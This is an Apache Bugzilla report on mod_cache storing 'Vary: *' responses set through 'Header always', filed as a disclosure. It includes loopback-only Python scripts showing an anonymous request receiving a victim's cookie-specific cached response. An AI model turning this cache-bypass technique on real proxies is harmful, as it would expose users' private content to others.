https://bz.apache.org/bugzilla/show_bug.cgi?id=70289

            Bug ID: 70289
           Summary: mod_cache stores Vary: * responses when mod_headers
                    adds Vary with Header always
           Product: Apache httpd-2
           Version: 2.4.69
          Hardware: PC
                OS: Linux
            Status: NEW
          Severity: normal
          Priority: P2
         Component: mod_cache
          Assignee: [email protected]
          Reporter: [email protected]
  Target Milestone: ---

Summary: mod_cache stores Vary: * responses when mod_headers adds Vary with
Header always

Product: Apache httpd-2
Component: mod_cache
Version: 2.4.69

Description

With Apache HTTP Server 2.4.69 acting as a reverse proxy, mod_cache_disk stores
and later replays a response whose client-visible headers contain Vary: * when
that header is supplied by `Header always set Vary "*"`. Apache's caching guide
says a response containing Vary: * should not be stored. The behavior differs
when the only configuration change is `Header set Vary "*"`.

The reproduction uses only a synthetic origin and loopback interfaces. Its
victim-specific response is otherwise cacheable because the origin explicitly
sends `Cache-Control: public, max-age=600`. That header is an important
precondition. The test does not show caching of responses marked `private` or
`no-store`.

Environment

- Apache/2.4.69 (Unix), built from the official 2.4.69 source archive (SHA-256
c551b9861e26f146f57e1b1765e69c89a60b3db0ec252ccab0d36283487016bb) with shipped
modules only.
- mod_cache, mod_cache_disk, mod_headers, mod_proxy, and mod_proxy_http; no
third-party module or source patch in the reproducing run.
- Linux 6.6.87.2-microsoft-standard-WSL2; Python 3.12.3 for the loopback
fixture.
- Apache's cache debug log recorded `Caching url` and `serving /shared`; no
error or warning was associated with the reproducing case.

Steps to reproduce

1. Build or install unmodified httpd 2.4.69 with the shipped modules listed
above.
2. Put the `parent-retest.py` and `anon-depth.py` scripts included below in the
same directory. Set `HTTPD_ROOT` to the Apache install prefix, and
`MOD_CACHE_SO` / `MOD_CACHE_DISK_SO` to the corresponding module paths if the
fixture defaults differ from your build.
3. Run `python3 anon-depth.py`. The fixture starts a synthetic origin and a
temporary Apache instance on 127.0.0.1, creates a new disk cache for each case,
and exits after its assertions.
4. The generated Apache configuration contains `CacheEnable disk /`,
`CacheHeader on`, `ProxyPass / http://127.0.0.1:<origin-port>/`, and
`Header always set Vary "*"`. The synthetic origin returns HTTP 200 with a
per-Cookie body and `Cache-Control: public, max-age=600` to `Cookie:
viewer=victim`. A request without a Cookie would receive HTTP 403 and
`Cache-Control: no-store` from that origin.
5. The fixture requests `/shared` first with `Cookie: viewer=victim`, then
without a Cookie. It repeats with `CacheQuickHandler off`. For a negative
control it starts a fresh cache and changes only the Vary directive to `Header
set Vary "*"`.
6. Optionally run `python3 parent-retest.py` for a separate two-identity
differential using the same configuration change.

Observed result

Under `Header always set Vary "*"`, the request without a Cookie receives HTTP
200, `X-Cache: HIT`, `Vary: *`, and the first request's synthetic body. The
origin sees only `viewer=victim`. With `CacheQuickHandler off`, the result is
the same. Under the `Header set Vary "*"` control, the request without a Cookie
reaches the origin and receives HTTP 403; the origin sees both requests.

Selected fixture output:

    ALWAYS_SECOND_STATUS 200
    ALWAYS_SECOND_VICTIM_BODY True
    ALWAYS_ORIGIN_REQUESTS ['viewer=victim']
    NORMAL_HANDLER_SECOND_STATUS 200
    NORMAL_HANDLER_SECOND_VICTIM_BODY True
    NORMAL_HANDLER_ORIGIN_REQUESTS ['viewer=victim']
    ORDINARY_SECOND_STATUS 403
    ORDINARY_ORIGIN_REQUESTS ['viewer=victim', 'anonymous']

Expected result

A response with effective `Vary: *` should not be stored or served from the
cache, regardless of whether mod_headers placed that field using `Header
always` or `Header set`. The second request in the reproducer should reach the
origin and receive HTTP 403.

Source-level hypothesis

In `modules/cache/mod_cache.c` near line 1118 in 2.4.69, the Vary-star storage
decision reads `r->headers_out`. `Header always` writes its response field to
`r->err_headers_out`. The later storage path merges the tables, resulting in a
cached/client-visible response with `Vary: *` even though the storage decision
did not see that field. An independent local control that checked the effective
merged headers before storage removed the cache hit; this was an experimental
control, not a proposed complete upstream patch.

Additional control: with the same `Header always set Vary "*"` setting,
changing the synthetic origin's `Cache-Control` from `public, max-age=600` to
`private, max-age=600` or `no-store` caused both requests to reach the origin.
Thus the report is limited to otherwise cacheable responses.

References: https://httpd.apache.org/docs/2.4/caching.html and
https://httpd.apache.org/docs/2.4/mod/mod_headers.html


Runnable loopback fixture sources (Python 3 standard library only)

--- parent-retest.py ---
#!/usr/bin/env python3
"""Separate loopback-only verification of Apache mod_cache's Vary: *
behavior."""

import http.client
import http.server
import json
import os
import pathlib
import shutil
import socket
import subprocess
import tempfile
import threading
import time


BASE = pathlib.Path(__file__).resolve().parent
HTTPD_ROOT = pathlib.Path(os.environ.get("HTTPD_ROOT", str(BASE.parent /
"apache-httpd-20261024" / "installed")))
HTTPD = HTTPD_ROOT / "bin/httpd"
MOD_CACHE = pathlib.Path(os.environ.get("MOD_CACHE_SO", str(BASE /
".libs/mod_cache.so")))
MOD_CACHE_DISK = pathlib.Path(os.environ.get("MOD_CACHE_DISK_SO", str(BASE /
".libs/mod_cache_disk.so")))
backend_seen = []


class Origin(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        identity = self.headers.get("Cookie", "anonymous")
        backend_seen.append(identity)
        payload = ("private-fixture-for-" + identity + "\n").encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(payload)))
        self.send_header("Cache-Control", "public, max-age=600")
        self.end_headers()
        self.wfile.write(payload)

    def log_message(self, *_args):
        pass


def unused_port():
    with socket.socket() as sock:
        sock.bind(("127.0.0.1", 0))
        return sock.getsockname()[1]


def fetch(port, who):
    conn = http.client.HTTPConnection("127.0.0.1", port, timeout=5)
    conn.request("GET", "/shared", headers={"Cookie": who})
    response = conn.getresponse()
    data = {
        "status": response.status,
        "body": response.read().decode(),
        "vary": response.getheader("Vary"),
        "cache": response.getheader("X-Cache"),
    }
    conn.close()
    return data


def case(name, header_directive, backend_port, quick_handler=True):
    backend_seen.clear()
    gateway_port = unused_port()
    with tempfile.TemporaryDirectory(prefix="independent_" + name + "_",
dir=BASE) as folder:
        root = pathlib.Path(folder)
        cache_root = root / "cache"
        cache_root.mkdir()
        config = root / "httpd.conf"
        config.write_text(f'''ServerRoot "{HTTPD_ROOT}"
Listen 127.0.0.1:{gateway_port}
ServerName localhost
PidFile "{root / 'httpd.pid'}"
ErrorLog "{root / 'error.log'}"
LoadModule unixd_module modules/mod_unixd.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule headers_module modules/mod_headers.so
LoadModule cache_module "{MOD_CACHE}"
LoadModule cache_disk_module "{MOD_CACHE_DISK}"
CacheRoot "{cache_root}"
CacheEnable disk /
CacheHeader on
CacheQuickHandler {'on' if quick_handler else 'off'}
{header_directive}
<Location />
  Require all granted
</Location>
ProxyPass / http://127.0.0.1:{backend_port}/
''')
        test = subprocess.run([str(HTTPD), "-t", "-f", str(config)],
capture_output=True, text=True, timeout=10)
        if test.returncode:
            raise RuntimeError(test.stderr)
        proc = subprocess.Popen([str(HTTPD), "-f", str(config),
"-DFOREGROUND"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        try:
            for _ in range(100):
                if proc.poll() is not None:
                    raise RuntimeError("Apache exited early")
                with socket.socket() as sock:
                    if sock.connect_ex(("127.0.0.1", gateway_port)) == 0:
                        break
                time.sleep(0.05)
            first = fetch(gateway_port, "viewer=victim")
            second = fetch(gateway_port, "viewer=attacker")
            return {"case": name, "first": first, "second": second,
"origin_requests": list(backend_seen)}
        finally:
            proc.terminate()
            try:
                proc.wait(timeout=5)
            except subprocess.TimeoutExpired:
                proc.kill()
                proc.wait(timeout=5)


def main():
    backend = http.server.ThreadingHTTPServer(("127.0.0.1", 0), Origin)
    thread = threading.Thread(target=backend.serve_forever, daemon=True)
    thread.start()
    try:
        positive = case("always", 'Header always set Vary "*"',
backend.server_port)
        control = case("ordinary", 'Header set Vary "*"', backend.server_port)
        print(json.dumps(positive, sort_keys=True), flush=True)
        print(json.dumps(control, sort_keys=True), flush=True)
        assert positive["first"]["vary"] == positive["second"]["vary"] == "*"
        assert "HIT" in positive["second"]["cache"]
        assert positive["second"]["body"] == positive["first"]["body"]
        assert positive["origin_requests"] == ["viewer=victim"]
        assert control["origin_requests"] == ["viewer=victim",
"viewer=attacker"]
        assert control["second"]["body"] != control["first"]["body"]
    finally:
        backend.shutdown()
        backend.server_close()
        thread.join(timeout=3)


if __name__ == "__main__":
    main()

--- end parent-retest.py ---

--- anon-depth.py ---
"""Synthetic cookie authorization control for the already verified Vary-star
cache bug."""

import http.client
import http.server
import importlib.util
import pathlib
import threading


path = pathlib.Path(__file__).with_name("parent-retest.py")
spec = importlib.util.spec_from_file_location("parent_retest", path)
fixture = importlib.util.module_from_spec(spec)
spec.loader.exec_module(fixture)


class GuardedOrigin(fixture.Origin):
    def do_GET(self):
        if self.headers.get("Cookie") == "viewer=victim":
            return super().do_GET()
        fixture.backend_seen.append("anonymous")
        payload = b"denied-to-anonymous\n"
        self.send_response(403)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(payload)))
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        self.wfile.write(payload)


original_fetch = fixture.fetch


def anonymous_second_fetch(port, who):
    if who == "viewer=attacker":
        conn = http.client.HTTPConnection("127.0.0.1", port, timeout=5)
        conn.request("GET", "/shared")
        response = conn.getresponse()
        result = {
            "status": response.status,
            "body": response.read().decode(),
            "vary": response.getheader("Vary"),
            "cache": response.getheader("X-Cache"),
        }
        conn.close()
        return result
    return original_fetch(port, who)


fixture.fetch = anonymous_second_fetch


def main():
    backend = http.server.ThreadingHTTPServer(("127.0.0.1", 0), GuardedOrigin)
    thread = threading.Thread(target=backend.serve_forever, daemon=True)
    thread.start()
    try:
        bypass = fixture.case("anon_always", 'Header always set Vary "*"',
backend.server_port)
        bypass_normal = fixture.case("anon_always_normal", 'Header always set
Vary "*"', backend.server_port, quick_handler=False)
        control = fixture.case("anon_ordinary", 'Header set Vary "*"',
backend.server_port)
        print("ALWAYS_SECOND_STATUS", bypass["second"]["status"], flush=True)
        print("ALWAYS_SECOND_VICTIM_BODY", bypass["second"]["body"] ==
bypass["first"]["body"], flush=True)
        print("ALWAYS_ORIGIN_REQUESTS", bypass["origin_requests"], flush=True)
        print("NORMAL_HANDLER_SECOND_STATUS",
bypass_normal["second"]["status"], flush=True)
        print("NORMAL_HANDLER_SECOND_VICTIM_BODY",
bypass_normal["second"]["body"] == bypass_normal["first"]["body"], flush=True)
        print("NORMAL_HANDLER_ORIGIN_REQUESTS",
bypass_normal["origin_requests"], flush=True)
        print("ORDINARY_SECOND_STATUS", control["second"]["status"],
flush=True)
        print("ORDINARY_ORIGIN_REQUESTS", control["origin_requests"],
flush=True)
        assert bypass["second"]["status"] == 200
        assert bypass["second"]["body"] == bypass["first"]["body"]
        assert bypass["origin_requests"] == ["viewer=victim"]
        assert bypass_normal["second"]["status"] == 200
        assert bypass_normal["second"]["body"] ==
bypass_normal["first"]["body"]
        assert bypass_normal["origin_requests"] == ["viewer=victim"]
        assert control["second"]["status"] == 403
        assert control["origin_requests"] == ["viewer=victim", "anonymous"]
    finally:
        backend.shutdown()
        backend.server_close()
        thread.join(timeout=3)


if __name__ == "__main__":
    main()

--- end anon-depth.py ---

-- 
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to